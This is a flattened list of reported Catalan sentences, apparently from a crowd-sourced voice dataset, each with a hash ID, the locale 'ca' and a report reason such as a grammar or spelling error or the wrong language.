Gil iran a Estubeny. 1255dac9213ab28c73ff6e6eb0b5965b30cd80636898f0a41cfc53d5739f38f9 ca grammar-or-spelling El deu d'agost na Clàudia i n'Hug iran al cinema. 09feec7df853a1e27e1b16ce2354e394c32dd3e133e777a63b5f4d6d54077c34 ca grammar-or-spelling El deu d'agost na Clàudia i n'Hug iran al cinema. 09feec7df853a1e27e1b16ce2354e394c32dd3e133e777a63b5f4d6d54077c34 ca different-language El deu d'agost na Clàudia i n'Hug iran al cinema. 09feec7df853a1e27e1b16ce2354e394c32dd3e133e777a63b5f4d6d54077c34 ca iran no és Català Diumenge en Marcel irà a Carrícola. 0a37459a2993205fb07e0e1fdfcb5c681b82857f40762b4de718662e094d1a9b ca grammar-or-spelling Diumenge en Marcel irà a Carrícola. 0a37459a2993205fb07e0e1fdfcb5c681b82857f40762b4de718662e094d1a9b ca different-language Dimarts na Nina irà a Estaràs. 098d7f3be4752b437368bb3931713850408d8709758fbf0f9d7916f89561c333 ca grammar-or-spelling Dimarts na Nina irà a Estaràs. 098d7f3be4752b437368bb3931713850408d8709758fbf0f9d7916f89561c333 ca different-language Dimecres na Clàudia irà a Querol. 09e854dae4ef236c99feacd39fb661650d477b95267003827540c242b3e731e8 ca grammar-or-spelling Dimecres na Clàudia irà a Querol. 09e854dae4ef236c99feacd39fb661650d477b95267003827540c242b3e731e8 ca different-language Demà passat na Gina i na Cora iran al teatre. 09f57139cd10512d85b938cb6c5aa8d0946d2c4a0f2421786f62ccff4b33b993 ca grammar-or-spelling Demà passat na Gina i na Cora iran al teatre. 09f57139cd10512d85b938cb6c5aa8d0946d2c4a0f2421786f62ccff4b33b993 ca different-language El vint-i-tres de maig na Frida i na Queralt iran a visitar mon oncle. 09504e09434010800d72abc87fe7aeb310abf8b936e603b673d4bb89f1a21715 ca grammar-or-spelling El vint-i-tres de maig na Frida i na Queralt iran a visitar mon oncle. 09504e09434010800d72abc87fe7aeb310abf8b936e603b673d4bb89f1a21715 ca different-language Dilluns n'Oriol i na Sança iran al cinema. 0a11a2cb2fc76f32ac5f3afc5cf848632abe247a93df2ca654d7eed00d4310bb ca grammar-or-spelling Dilluns n'Oriol i na Sança iran al cinema. 0a11a2cb2fc76f32ac5f3afc5cf848632abe247a93df2ca654d7eed00d4310bb ca different-language El vint-i-nou de febrer na Lea irà a Los Montesinos. 09edb316ec6f0e95f0129960e3bb87f63944830c72646ed362dcdbd6c3b957e0 ca grammar-or-spelling El vint-i-nou de febrer na Lea irà a Los Montesinos. 09edb316ec6f0e95f0129960e3bb87f63944830c72646ed362dcdbd6c3b957e0 ca different-language Dissabte en Lluc i na Carla iran al Perelló. 09e9166e17b707ab95116acc277bca4d822b32ac63e3b625382c2c846136ca71 ca grammar-or-spelling Dissabte en Lluc i na Carla iran al Perelló. 09e9166e17b707ab95116acc277bca4d822b32ac63e3b625382c2c846136ca71 ca different-language El nou d'octubre na Cel i en Guim iran al cinema. 08e72a9dd211a32d32a6773a027c7b23be47e3ce2b188b6d33d0f3667751402b ca grammar-or-spelling El nou d'octubre na Cel i en Guim iran al cinema. 08e72a9dd211a32d32a6773a027c7b23be47e3ce2b188b6d33d0f3667751402b ca different-language Demà passat na Nàdia i na Martina iran a la platja. 09e39b3dd6b9a268a7b7b1d19e162ffeabfe5dd43a9b555f8071e8ba70cc5570 ca grammar-or-spelling Demà passat na Nàdia i na Martina iran a la platja. 09e39b3dd6b9a268a7b7b1d19e162ffeabfe5dd43a9b555f8071e8ba70cc5570 ca different-language Per Sant Jordi en Genís i na Dolça iran a Torelló. 0a403cc5dc079df71ac8e508ca8d151559a166986a0a3daa8836215fe3431c63 ca grammar-or-spelling Per Sant Jordi en Genís i na Dolça iran a Torelló. 0a403cc5dc079df71ac8e508ca8d151559a166986a0a3daa8836215fe3431c63 ca different-language Demà en Pau irà a Bell-lloc d'Urgell. 1368ee8fe27434a68266be024782ca3d7dc1c572d2e0a528a089d104ec9ca7b2 ca grammar-or-spelling Demà en Pau irà a Bell-lloc d'Urgell. 1368ee8fe27434a68266be024782ca3d7dc1c572d2e0a528a089d104ec9ca7b2 ca different-language Setanta-tres havia l'error del prefix. 14e9c89d0400cef2f098001ff9b8bd7ae53796f7cfc54bdc30c6b9b8ac620822 ca grammar-or-spelling El vint-i-nou de febrer na Júlia irà a Figueres. 162cc706f3e1d245e67fd8572ebdd02e24cdaaf8751e970346966cca261015bd ca grammar-or-spelling ¿Creus que hi serà, la Bruna? 18c3274e01e0ba720f75f74a070e16bc66861146143cf2b00cebee44c8d6d026 ca grammar-or-spelling El nou d'octubre na Thaís irà a Puigverd de Lleida. 18b93c8307913aaaf1a311c85ba2ca27f5184c425fe78e27d68e9c757721e8b6 ca grammar-or-spelling Divendres en Martí i en Drac iran a Vila-rodona. 18e7a7c902a6020a6a052f6f241d43a3894d48365dc2c8471472b4a253b81014 ca grammar-or-spelling El vint-i-nou de febrer en Gerard i en Nico iran a Puigverd de Lleida. 1792e55dac866d91445d5f824be3d2c714bca8a653b553fb1f1b94b8c3166de8 ca grammar-or-spelling Dissabte en Pau i en Gerard iran a la biblioteca. 18a29cabbb3b3f66bf329341a078cbe23c60c6b4e57648defcdf21f3031764f1 ca grammar-or-spelling L'aula —ric!— irà al cul, al cul rai... 18e255b5b8ba35ce8dd167673223ba7b2cb2f0314042749110e701d912d4b772 ca grammar-or-spelling El deu d'agost en Joan i en Marc iran d'excursió. 18878c16b169c0cb7b954ab888b9a565e33be0d23d690f0ce4bc5b2bf6f57724 ca grammar-or-spelling Demà passat en Grau i en Tom iran a Moià. 18ec5e8edec1275ec93367553cf374d48733cff220116de54a04bb2e6ff890d6 ca grammar-or-spelling El nou d'octubre na Lara i en Max iran a Canet d'en Berenguer. 18eac95630a85c0a947cb7884c8ce1f16328a67167c3d5eb949c0bc92352173b ca grammar-or-spelling Dissabte en Dan irà a la platja. 18f70f3b690d613ad0561ec412db6d109eede417cd5b12864bfd77fe8f00c569 ca grammar-or-spelling El vint-i-nou de febrer na Bruna irà al cinema. 180e23444bfbc5617ccf3dc4c855cba42466db0c327ce4bf07110df5e50c31e0 ca grammar-or-spelling Demà en Joel i na Joana iran a Meranges. 18ad5e6ed97df6c2cd2420438c316f7c091d642b8009942e2158455e7af25e6a ca grammar-or-spelling El vint-i-tres de maig na Rosó i en Peris iran al metge. 170ae6a5420964842abd19efb4417c3bc56f31a88d83582b858a3bca6383991c ca grammar-or-spelling Per Sant Jordi n'Hug i en Quixot iran al metge. 18a75b178b3399c99eb11d58ce917b57c516b77a740558e95fca15f8d82d12ba ca grammar-or-spelling Divendres en Pau i en Gerard iran al metge. 18f266b77d492ee6e62163331fb61618080d31a4374f254704c67b4314a1fcae ca grammar-or-spelling Dijous en Quel i en Quintí iran d'excursió. 18ac352ad5d0f75fb05f58e41097c681e11091b439ada61ed52782529d3921a3 ca grammar-or-spelling Dissabte na Rosó i na Lola iran a la biblioteca. 18c207e2996292cba7f5f581cced0b97f390f6ab18eceeef4a39490db63d1cd1 ca grammar-or-spelling Divendres en Blai i en Pol iran al cinema. 173d3c45d9dc0575629f0e9f165bc34f347cdfe1b5851dc7ef4da05cdb193eef ca grammar-or-spelling El vint-i-nou de febrer na Vinyet i na Noa iran a Sant Rafel del Riu. 18f129f0843f28e07805f9e03568414379f4d9a92a611ca3c7d78d5552a009ab ca grammar-or-spelling El deu d'agost na Mar i en Pol iran a Rocafort de Queralt. 18ed5c36a751590db3ca458f9d6ede6584d0bfa4b259dfd192c730c7077f9070 ca grammar-or-spelling Demà passat en Quel irà a Santa Eugènia de Berga. 18fd133c7251ca4e4b00880c166a5b3528a01dd2a02d5cb03aa558cfa07223b2 ca grammar-or-spelling Divendres na Beth irà al teatre. 18884b354d54ca9718ede64243b39202e31f38916aedd4e7443375b1cbcac3cc ca grammar-or-spelling Per Cap d'Any en Martí i en Lluc iran al teatre. 18aace24f72ba52bcbb64d6eea6dd2c74e80b5607b5caf7ae34f267925d577c6 ca grammar-or-spelling El deu d'agost na Mar i en Nil iran a la platja. 1847177d93bf12ce8d210b817ff2b73839ec2052c25a873748eeddc67929e5c5 ca grammar-or-spelling Per Sant Jordi na Cèlia i na Lia iran a Sant Joan de les Abadesses. 18b3909c1d18f58dc267f24575bc8b0b359235b2fc76d6811c3b6cce1fad8c6f ca grammar-or-spelling El vint-i-tres de maig na Nara i en Biel iran a Vilafranca. 1654c4d20408992f9a35121d539778a05396d233838acb7596684fae013974be ca grammar-or-spelling El nou d'octubre na Lena i en Gerai iran a Bellmunt d'Urgell. 177102a1ecde43f67bb94b770d21b0a1599621497432cc14a120d1e8ae9562f8 ca grammar-or-spelling Per Cap d'Any na Gal·la i en Cesc iran a la Romana. 17f3490aa0a132715d87f0fed66276a99ea5398c8bf6b73e0f9c2b4bf5c1967e ca grammar-or-spelling El nou d'octubre na Mira irà als Prats de Rei. 1822ea3572202ee03c1dd98b9aabf5f80b489d147080a402d30ca2cf7c4a0432 ca grammar-or-spelling El vint-i-tres de maig en Gerard i en Damià iran a Sant Ramon. 181e5b8c687513d64dd275b2d3a0669fed2cce951a15c5cc02413c9615fed615 ca grammar-or-spelling El deu d'agost na Laura irà al metge. 180801c6d94fd565d2bcbade6afa0b8b872acbcc988407831d721351506bf98a ca grammar-or-spelling Divendres na Sira irà a Lladurs. 18d35146e7c561c1afe14fd2d66f7e5973055592f01d0f8b8f9581fc5feceaaa ca grammar-or-spelling Demà passat na Joana i na Gal·la iran a Consell. 182263e842f0c3d4e153d8f4a14d6d3b30571f6dc618fc28eae4d0eae3674d57 ca grammar-or-spelling Demà passat na Zoè i na Mariona iran a Alcoi. 16421b1cdd6014f48b7d5731f92eeb5aa6a023b074e764af546c29a5024f940f ca grammar-or-spelling Per Cap d'Any na Paula irà a Bufali. 16d6c39698e6a98fa15686364a550084fd96277bd5bd9261ef038b990da5a233 ca grammar-or-spelling Per Sant Jordi en Quel i en Sol iran al cinema. 18dc673acfef743dd0ab351cdad9d24fee9bba8987ed8af64e91206cdf897486 ca grammar-or-spelling El nou d'octubre na Tura i en Gaël iran a Benidoleig. 1726569087fa5cf2a1019b269adab7e8e6820369d72f9e6395465d3a3dbc8c95 ca grammar-or-spelling Demà passat en Telm i na Laura iran a l'Albagés. 17f1a12db4da6cc9b4f1a412b8c0fb947ddbddcdd4ad01cc82b9690151426b2b ca grammar-or-spelling El vint-i-tres de maig na Beth i na Lia iran al metge. 17dd0b6bc316732429b0666247491926fc6d21adaccc79233d7b3d437504d237 ca grammar-or-spelling El vint-i-nou de febrer irem al cinema. 1871adfefa53dcea42daf9ea8c44866d25e233236510273744a5835c874247b9 ca grammar-or-spelling El vint-i-nou de febrer na Sibil·la i en Nil iran a Bunyola. 188857e24be69f26745b620cd8676eb32707d0c025e727cf8681e7c386f7dd5d ca grammar-or-spelling El nou d'octubre na Thaís irà a Navarcles. 18c86d5ef4aa09cc5462d9606f47c8f5a56fa0d127072114522b457269515076 ca grammar-or-spelling El deu d'agost na Carla irà a l'Espluga Calba. 190e8a9a2b01eebabd6b35fc64e7b402dad082ae07df3fb66ba34413d65f71e5 ca grammar-or-spelling Dimarts na Dolça irà a Llorac. 18bee1cba24397668cf9a3b9fce241f2f89f2c3131b938e56bb6bfeed28f0456 ca grammar-or-spelling Per Cap d'Any na Rosó i na Lola iran al metge. 19143bfbc3cfca8c23013ad050d7a1fc22d5731ec2e5125f697d322f0578ba69 ca grammar-or-spelling Divendres na Damià irà a Cardedeu. 1905b21201300bfe914f182ce89d4f5523a41c07f780f74b79b1695a80c32925 ca grammar-or-spelling Dimarts en Jan irà a Espot. 18fa0654a6d6e98434ed9ff9d08ca7aeb0a8cf05322aebbb951091869e7f3b89 ca grammar-or-spelling El vint-i-tres de maig en Genís i en Bernat iran a la biblioteca. 18f6878b49282260c2e6ffc39dadfd244464424cf7ff7e580ddbe542b6241725 ca grammar-or-spelling Diumenge en Quer i na Vinyet iran a Cassà de la Selva. 18c2c308f9737e20e4912256818a3b3ec6e0cde390c7675ddbcd80eae29b069a ca grammar-or-spelling Demà passat en Maria irà a la biblioteca. 19099975263f6c46e2d6902afad4bd696fe879d1bd391c1bdcc6767f4badcc96 ca grammar-or-spelling El vint-i-tres de maig en Blai irà a la platja. 19338c46a790dc5b52737f0b42b2e70cfe9fc2d9d7e92c913beb63eb79d18520 ca grammar-or-spelling Diumenge en Grau i na Neida iran a Bot. 18c4d58b900e3d687650602c2d8923dffd026bddbdacf395abe220904d368820 ca grammar-or-spelling El nou d'octubre en Juli i na Sibil·la iran a Arbeca. 19428f3771f4873b3e63ade141a8c6052a6cfe3392c9e4e1b662cd4341daa120 ca grammar-or-spelling El vint-i-nou de febrer en Nil i na Cel iran a Xarafull. 190c41b0dd0a11f78e64089b9c7b128ad35ac447c8f3bcb091280e2846bb67e5 ca grammar-or-spelling Demà passat en Martí i en Lluc iran al teatre. 182a272fe180256f4ce6d73797fb70c558e13896ea4d7f8dac25b9944eda7bc4 ca grammar-or-spelling El deu d'agost na Clara irà a la biblioteca. 18c9b24bf9e46be14cdf5758edf110fb171a99c63409ecbe520e0eb1bcdc8190 ca grammar-or-spelling Dimecres en Pol irà al teatre. 183a481e192ba034b59af860fa7a891fe882d450d62eb011d7bc2a56eb530a6f ca grammar-or-spelling Diumenge en Quer irà d'excursió. 193c8afd72cb989454b031bb87154a5174dff6eaaacd0e0778cbb33d9c2cb038 ca grammar-or-spelling El deu d'agost na Cira i en Llop iran d'excursió. 19290045f4b178876fb42ecd413d1f6f3c70a50192855d370bfefc0d6f2d1db6 ca grammar-or-spelling Divendres na Sibil·la irà a visitar mon oncle. 18682cc23c6f9ef449fe7f93543508c61c9fd78b6ecc972d6350c0768306801a ca grammar-or-spelling Dissabte en Quel irà a la biblioteca. 190cfe128036f904c8b6c8e84c9640b0476391b2fca1e69d2f96a08ed501ca75 ca grammar-or-spelling El nou d'octubre na Mariona i na Lea iran a Lloret de Mar. 19411c4c9bf079a8074a795e6ae0b12c5f99b93d158b5988c8055f12eba5cfab ca grammar-or-spelling El vint-i-tres de maig na Clara irà al cinema. 17ff04879d510daa013524e1ecc62add5f1c249a2f8c341bef677e897293951b ca grammar-or-spelling Diumenge na Farners irà al teatre. 1913971e6ba82c537130b91f674c5fadffe02c35e6c42dbad251f534cf3d3026 ca grammar-or-spelling Dissabte en Drac i na Dèlia iran a Josa i Tuixén. 19356c6a0fc37c380257851ba3d694c93ac2b4653c6a66edce2694c57172582f ca grammar-or-spelling Demà passat en Joan i en Pol iran a Fígols. 18fc630378be30a179613768e7d20b7e32b629e5303105cae5f4f438f220bcf4 ca grammar-or-spelling Divendres en Quel i na Laura iran a Dosaigües. 1878cc2b6eb541c5e1349b01fb5176dd6afc31aebbc6855ceb468bf203e958ec ca grammar-or-spelling Per Sant Jordi na Bruna i na Clàudia iran a Granyena de Segarra. 18f6ee8dca5e2e88cc5366335cfc07893c1e0a9dc673d10f920ef96acfbb530d ca grammar-or-spelling El nou d'octubre na Nit i en Sam iran a Vinalesa. 19421942abd209a496a86481029e1d39544da347375a01b4b81ed13f6bbe5ec3 ca grammar-or-spelling El vint-i-tres de maig en Milos irà a Benlloc. 182f07a10f7ba4d3885b1402d37c47e74b3bf46a9defd3e252e1c797032e72c6 ca grammar-or-spelling Per Cap d'Any na Judit i en Tom iran als Guiamets. 1883abb86edb651fe384a158e2876874a8c8b01806c3e89f114479e49d9ccb9a ca grammar-or-spelling Divendres en Marc i na Carla iran a Pinell de Solsonès. 19574ee8e2a79bf43d1128ad4939a6916d326a125b71e747399992bc5343ed51 ca grammar-or-spelling Per Sant Jordi en Blai irà a Sant Joan de les Abadesses. 185cf1d1cd6b9b8af58c9ded3e5f2e0a329987c8a1d12d1b5c8535bee57ab3b1 ca grammar-or-spelling El vint-i-nou de febrer na Gemma i na Dolça iran a Banyoles. 189896c4c5dc77466137ce63011dcd3fa920137732533cf03fa212d95ed5cbf6 ca grammar-or-spelling Dimecres na Neida i en Nil iran a Maçanet de la Selva. 1964ddaad07a0b893e3092d2723ef1745665c3371b625f8e8da17393874213e0 ca grammar-or-spelling Dimarts en Guim irà a Llambilles. 1950fb231c8f63fc1c1978a2e6f6aee92e887406bc80a9da033e5b12a34cb20b ca grammar-or-spelling El vint-i-nou de febrer en Gerard i na Sol iran al teatre. 178bf99c608550409eedd76045f374d5dd25c4d58ddf0329432e246e28693aa2 ca grammar-or-spelling Demà passat na Lara irà al teatre. 184e64cf8a8312db520da7a6892c4400157989d8fd48fc4a7939454a9cfb5634 ca grammar-or-spelling El nou d'octubre en Quirze i en Pep iran a visitar mon oncle. 18ab161bff6f4eb78d1dedb9efe6774b039083d6ecbe220124cd7295aecefb2a ca grammar-or-spelling Per Sant Jordi en Sam irà al teatre. 18c1fac490f00de3fc7220c0bac10ebb24fc460ddd94ac3be6ba731c94d949c5 ca grammar-or-spelling Divendres en Pere irà a la platja. 183f0ba0c04b07c62a7c55287e4239de5404c7d4571532902065a560aa90e8b4 ca grammar-or-spelling El vint-i-tres de maig en Rauric i en Pere iran a Tírig. 194d03f56183992364df1ce85e0de2a4f80e9e31950b776cb04fffaef28fecbd ca grammar-or-spelling El vint-i-tres de maig en Roger i na Lara iran a la biblioteca. 1807d1cac8c0b082f3bac455b0ea03fbfac338a9257122e63a003aa0c21f0581 ca grammar-or-spelling Demà passat en Tom i en Magí iran d'excursió. 190c16964402f4a54361323b53e8e17653e88579bde543b57f50fd39c6854201 ca grammar-or-spelling Du un gosset blanc lligat amb una corretja de cuir. 197e45b7c540ad7f4495ca09bba234c91b141eb3f9fe1d9c6bd3eb0bb48d8b23 ca grammar-or-spelling El deu d'agost na Laura i en Sam aniré a la platja. 1a19ef93c6d72070a1bf13d6db64d18137b84f045c9527a50ef13c36459087dd ca grammar-or-spelling «periodo de tiempo», «Dios mitológico», «tiempo de verbo», «instrumento musical»... 1b511ef661de8db572a16cad18d60a2af917285d5bd06d0876a9aabad2638638 ca different-language Demà passat en Gil i na Laura van al Rourell. 1c89fcce80d3e7367c5eb83598b6493329b610097c688a3ff4641ccd414f8ed4 ca grammar-or-spelling El nou d'octubre en Magí irà al metge. 1ab450c76a5d7814adc6e4ee8ab9f3878708cbde7a5e4635bf93885ce3aa41aa ca grammar-or-spelling El nou d'octubre en Magí irà al metge. 1ab450c76a5d7814adc6e4ee8ab9f3878708cbde7a5e4635bf93885ce3aa41aa ca different-language Per Sant Jordi en Pere i na Dolça iran a la biblioteca. 1be2d224da0f26309655913232fcace098ca750d288c1a0a9201261251f14ef5 ca grammar-or-spelling Per Sant Jordi en Pere i na Dolça iran a la biblioteca. 1be2d224da0f26309655913232fcace098ca750d288c1a0a9201261251f14ef5 ca different-language El nou d'octubre na Dúnia irà a Jafre. 1bbd066b5482dcf129413103a7a2f6e4e11edfeb256fd8e59f5186ad32b80f08 ca different-language El nou d'octubre na Dúnia irà a Jafre. 1bbd066b5482dcf129413103a7a2f6e4e11edfeb256fd8e59f5186ad32b80f08 ca grammar-or-spelling Dilluns en Biel irà a Sacanyet. 1c64e9d59658de55bd81bba696f957d55a7344b706f2465b58c585fc00405a4f ca grammar-or-spelling Dilluns en Biel irà a Sacanyet. 1c64e9d59658de55bd81bba696f957d55a7344b706f2465b58c585fc00405a4f ca different-language Dijous na Carla i en Jordi iran a Matet. 1bdfea74ddeaf29e851e33e724b20bf9f82024b6c03626098f71db218811a5a9 ca grammar-or-spelling Dijous na Carla i en Jordi iran a Matet. 1bdfea74ddeaf29e851e33e724b20bf9f82024b6c03626098f71db218811a5a9 ca different-language Per Cap d'Any en Guillem i en Pol iran d'excursió. 1c2e7f6b218c156c0732448accdb2d9703e82c618fc99a412f648df6fb1b8497 ca different-language Per Cap d'Any en Guillem i en Pol iran d'excursió. 1c2e7f6b218c156c0732448accdb2d9703e82c618fc99a412f648df6fb1b8497 ca grammar-or-spelling El vint-i-tres de maig na Ramona i en Pep vaig a Llagostera. 1d3caabd4d315ebe149a897219f4455479aee33c14fdf5aa078e782f4dc43ca3 ca grammar-or-spelling Divendres en Maria vol anar a Pira. 1cb031547476e748c3968dd0aadb759747db6da1ad4303d797270e7721530970 ca grammar-or-spelling Per Cap d'Any na Gemma i en Dan aniré al cinema. 218480ab4d12168a01ab1989f7cb38545becba20f58d864572779151a85f2886 ca grammar-or-spelling Demà passat en Maria irà al metge. 212729f3bc823169958869d4927204a386a49fc4960959d5b4492ff8a87c987a ca grammar-or-spelling El nou d'octubre na Mira i en David aniré a visitar mon oncle. 23ef6d197a4238802a6597f60752e4371c7ac3fb23561e79e27923e1820ddf8c ca grammar-or-spelling Diumenge en Nel i na Chloé volen anar a Vallfogona de Balaguer. 280220574ab8b0d590fe7349be532ab88640a1e96dbbb1e92ee06df14b23bd1e ca No se com activar micròfon Demà en Maria vol anar a la biblioteca. 267eb3197836e9862cdc6420e2e13ee9cbc3d1ebf11070ba2cf96b853836db2f ca grammar-or-spelling Arma desenvolupada durant el com a arma d'entrenament per a combat amb espases lleugeres. 2857bd9528e4c3b6334516055b14b014026d4579e60ba5f391252d61b13c76fc ca grammar-or-spelling Lewis es va assabentar per primer dels rosacreus pel seu interès pels fenòmens paranormals. 2990f06397a27c20d593ddd1a022f6d89696c3441dc34c800a59fa306abc5fae ca grammar-or-spelling Demà na Damià i en Cesc van a Fornalutx. 29a5823e55ee940f316156a52ecad3e44647a07b1d59f61d0d60ede0514f1753 ca grammar-or-spelling Encara que inspirat en mestres anteriors va saber va crear un estil propi. 29d3519302f341f7f2c508396cc602068f8a0c898c6d24a38e0c4d42e3b8141b ca grammar-or-spelling Demà passat en Biel irà al teatre. 29dbf8a9bc07f8f7a5ddced3ee266463e253554233a3c68e0d92b88fc9e94eb2 ca grammar-or-spelling Són plantes natives de les regions tropicals a temperades càlides d'Amèrica, Índia i Àfrica. 2a184c66ffde636c1cd286d82cb70329a59d1e639a6692fcb296f770834cbe2f ca grammar-or-spelling El primer any va consistir en l'actuació dels amfitrions i el grup castellans El Guindo. 29edcdd14e39228ee5c7b4bf72dda7d3236d5d405c2bab73fc88c4808728224e ca grammar-or-spelling Encara que inspirat en mestres anteriors va saber va crear un estil propi. 29d3519302f341f7f2c508396cc602068f8a0c898c6d24a38e0c4d42e3b8141b ca grammar-or-spelling El gen crema és el que ocasiona és aquesta capa. 2a4cabf958ec11d6ab307faf2750d46ae059db3d147b92da1964d335921c979d ca grammar-or-spelling Fermí Jaurrieta i Gallego és un alcalde Mollet del Vallès nascut a Mollet del Vallès. 2a35c9a20817eff3c14f6c8d69ecc434cf387132ddc237a1c28f61cb7459fce1 ca grammar-or-spelling Com es fa per anar de la passatge del Rector Oliveras a la plaça del Doctor Ignasi Barraquer? 2a561f8039e197579c45ebc831a4a00f95ed18208258b05ce42b7d3baaf9ff1c ca grammar-or-spelling Heraclià i va tornar a Cartago on immediatament fou assassinat. 2a4caa47775a156fdd73e334628e2d6a6a357e325101177a512bb8a920e8ca77 ca grammar-or-spelling Un quart de ploma d'aigua viva, i am delit de viure 2a5c6a85fad56def3efa072680abf1d36facc83c052a4c0d24c158e9c3538696 ca grammar-or-spelling Dissabte na Neida i en Nil iran a Collbató. 2a439ce1561c5988c3210a5cdcac8dc1bb770aafdf3e9ecfee649575b3461afe ca grammar-or-spelling Divendres en Juli irà a la biblioteca. 2a6adf067eccd6f1f9864ef773c0be90e468947953a13dbc7a957b167699eb4a ca grammar-or-spelling Els indis també amenaçaven als viatgers amb fletxes i ganivets. 2a0c154fa765421c0e55a2851bdfc16f5b870142e054908307fa5000c0784644 ca grammar-or-spelling El nou d'octubre en Julià irà al cinema. 2a6d3da8578eb148749542eeb4b4760ff81b0ba9a27b66b1719a4a7104099708 ca grammar-or-spelling Diumenge iran a Vilanova del Camí. 2a7534dc0c2a99e1d275e2f1a70ce0acdf752dca0021cbeb35ac530aee538b3d ca grammar-or-spelling Per Cap d'Any na Clàudia irà a Artà. 2a74919f4fc9673725e212a8ed0075261aa4ac19f14d3b7f29bdba19242f3c9d ca grammar-or-spelling Com a resultat d"aquesta fusió, el districte de Fuji es va dissoldre. 2a3cec89befb8e953f23b32dfad25afd24fed85d6b0b1799e837eaef33f065b7 ca grammar-or-spelling El deu d'agost en Marc i na Noa iran a Rasquera. 2ace076b49755e130a930809686ef603b27ed07fb123d8acffed4a95f84df064 ca grammar-or-spelling El vint-i-tres de maig na Laia i en Damià iran a Los Montesinos. 2ab4ea1a2f282acbc58d98974022c038fd2e79e1b17a4ecdaea422220d624f20 ca grammar-or-spelling Els Kenton Giants van jugar a la Inter-City League amb altres tres equips. 2aa8b953778f290a37d2e3a72415d8792ea64789ce0b79ea8e65bd7226895d66 ca grammar-or-spelling Les dues primeres embarcacions de cada semifinal passa a la final. 2ad2d479055fec8ad3b80b443fa951ecb56a41cc82912432f972495741a8ace2 ca grammar-or-spelling Es trobava en un estat de conservació superior al de la majoria 2b17d3eed93e70a41ab15a241ff566f23fc8812bcb28e704280b9a37b327d1b8 ca No es sent res de res. Edifici construït entre docs carrers en desnivell. 2b14afecfef70be41e24d11a3f08c82fad8a6fa79997f6455ef8384a646b512c ca grammar-or-spelling A més servi diverses vegades com Superintendent de Zona. 2b3554bda5d32234b306b687009baa4f4993af99519938480b5adae578dc9e82 ca grammar-or-spelling Una índia asseguda al terra d'una habitació amb el sol que brilla a l'esquena i porta una samarreta negra, un mocador vermell i fa fils enter els seus dits 2b2d72b26921e76f9a48e2156374e8593da876c1214db8603595e42fdc9a6bcd ca grammar-or-spelling Tanmateix la majoria tornar a Eslovàquia en els següents anys. 2b389416b53c5f50533d14862f532b72d267f6d20edfe80e8705ed03fe19291d ca grammar-or-spelling El deu d'agost en Josep irà d'excursió. 2af2395e9f86291d981a880750a9eff482e5c49305806aaaa491ea7cafee9662 ca grammar-or-spelling Puc fer, demà? 2b07eed54c362077264470a476d9cb5db9a40148e0d505144568e297d431c18c ca grammar-or-spelling El vint-i-nou de febrer na Neida i en Cesc iran a la platja. 2b1128d45441959fe896b85122af5a036066e2b4412dcfaea937bcc6af932455 ca grammar-or-spelling Els trens d'entrada truquen a Cambridge i no saturen fins King's Cross. Cross. 2b6ea087d13b6a966b868d92b6db7691d426298e05de3750421b783aa81e2759 ca grammar-or-spelling Els trens d'entrada truquen a Cambridge i no saturen fins King's Cross. Cross. 2b6ea087d13b6a966b868d92b6db7691d426298e05de3750421b783aa81e2759 ca Està mal escrit i no té sentit També ha dirigit el Kaiserslautern, el Lierse i l'Aalesund. 2b5ee21b78242d99bc16eace7b39c306c3642abce46ba01022008fcabc4796db ca difficult-pronounce Vaig, segons que ho diu. 2bdb5ab793ad96d13134f406b0d4d9a3506d14f02b467aa7abcad63c2425b9fc ca No té sentit El pont forma part del tram de la cura de la marató de Nova York anual. 2be2a0e98268b9f38a9fd31e2f844bc7b282743d6ddeb6db5a667caf4e660f68 ca grammar-or-spelling Dimarts en Maria i en Cai iran a Aiguaviva. 2bbdbb7085093140d685703f7fe66bdf5c1db510a1c02260ae3c734a7ca78a33 ca grammar-or-spelling Per Sant Jordi en Maria i na Laura iran a Maçanet de Cabrenys. 2bf5807b978689332eca17ff2bda51cc05e26866775b4af44239d89b73abc9f3 ca grammar-or-spelling He anat cap on, pocs abans, havia passat el camió. 0186a3e63c387eb4e9cdbf5c13b59d40188a5684533d782b139a47980f1a4bd5 ca grammar-or-spelling La gran disminució del nombre d’atemptats en aquesta regió explica el descens global. 02b2e85f8ecf24bcf4cb613c3547be8f4bcd22bb3bc20dee42f247ed7e625a40 ca grammar-or-spelling Durant la matinada, els bombers han atès quatre-cents quaranta-cinc trucades. 02f5a1494dbb8a54d6c062537ca32063f3d6ad24fc9d9f199697fe7c513e8b68 ca grammar-or-spelling Demanem que siguis tractats com qualsevol altra persona escollida. 05c0746dc6a3335a9aa4cc5be4547531505182d01a90c6a60609bbbe0f713193 ca grammar-or-spelling Tenim una capital cosmopolita, que són la nostra millor representació al món. 09b85fa174784bd2554c7a8bd822046f851d59ba82dcb2c86e06229d9ef2ca03 ca grammar-or-spelling Per això, la confluència demana estructura la comissió de seguiment manera formal. 0b2e1e37ae68577da7cf1b23b8b9482aa45b6dcd032d3c4ead23d658ee0ba943 ca grammar-or-spelling Encara n’hi ha per recuperar i es dret legítim de la gent. 0ac6b988f181ced83f786fac0b4f1dae880eef1870051646fb06dcdbbc45ce88 ca grammar-or-spelling Esque no podia mirar ara la targeta i necessitava saber. 0f8204cbb9101619e2212152d093ac62aa97497c7faf9fcb69933d4d75ae44a3 ca grammar-or-spelling De fet, es va anar eleccions. 1291f453f57946b1b90f90c0d5de661fd49b97c52444b587fd828d10e7edbccd ca grammar-or-spelling Ingressos inferiors a onzen mil cinc-cents euros. 1bbd90af4bd0704c0abb6455785a74931d4a1d0660e0b4a2fc4be4f2f4b52b4d ca grammar-or-spelling Em vaig recloure molt a casa i sol i això t’afect'. 1af5ddb85d32de204c0063ce1d9030a47062ecbddfc26a6a63262bfcf7c699a7 ca grammar-or-spelling “No hi ha indicis que permeten identificar una infracció”, ha afirmat. 173070b74d6e9e050272f03f0a34d6dc796e5da44a1f95efa321c6f6e7ff1396 ca grammar-or-spelling Les xifres pugen als dos coma tres milions d’afectats i a les cent vint-i-un mil morts. 1bb83190e664daad5c5b6db7cb4981ba5b3e99665747f9e203e0e17b438c9d87 ca grammar-or-spelling Què volem o no volem accelerar? 214f2c71ac7bc3eb07201f31f401011ebfc2eb93255813a11067fe932fa7f6c7 ca grammar-or-spelling En aquesta cas, es crea una bossa on hi entren els jugadors sense equip. 209f075e9a9b7906fd82a56769996418fca9b6bd59d0cdee1ece35f1607cd4bb ca grammar-or-spelling El referèndum es pot fer. 1ca9d0a622d44c384725bbb51e8e6734a0075283e73eeff7b84a81fe753ec4ed ca grammar-or-spelling No hem usat el el “manual 